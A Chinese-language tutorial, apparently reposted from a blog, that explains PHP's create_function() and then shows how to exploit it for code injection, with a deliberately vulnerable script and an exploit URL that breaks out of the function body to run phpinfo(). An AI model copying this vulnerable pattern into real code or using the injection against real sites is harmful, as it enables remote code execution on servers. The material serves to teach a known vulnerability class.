您好,登錄后才能下訂單哦!
第一部分:介紹php函數(shù) create_function():
string create_function ( string $args , string $code )
string $args 變量部分
string $code 方法代碼部分
舉例:
create_function('$fname','echo $fname."Zhang"')
類似于:
function fT($fname) { echo $fname."Zhang"; }
舉一個(gè)官方提供的例子:
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc"; echo $newfunc(2, M_E) . " "; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?>
第二部分:如何利用create_function()代碼注入
測(cè)試環(huán)境版本:
apache +php 5.2、apache +php 5.3
有問(wèn)題的代碼:
<?php //02-8.php?id=2;}phpinfo();/* $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?>
利用方法:
http://localhost/libtest/02-8.php?id=2;}phpinfo();/*
實(shí)現(xiàn)原理:
由于id=2;}phpinfo();/*
執(zhí)行函數(shù)為:
源代碼: function fT($a) { echo "test".$a; } 注入后代碼: function fT($a) { echo "test";} phpinfo();/*;//此處為注入代碼。 }
測(cè)試效果:
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。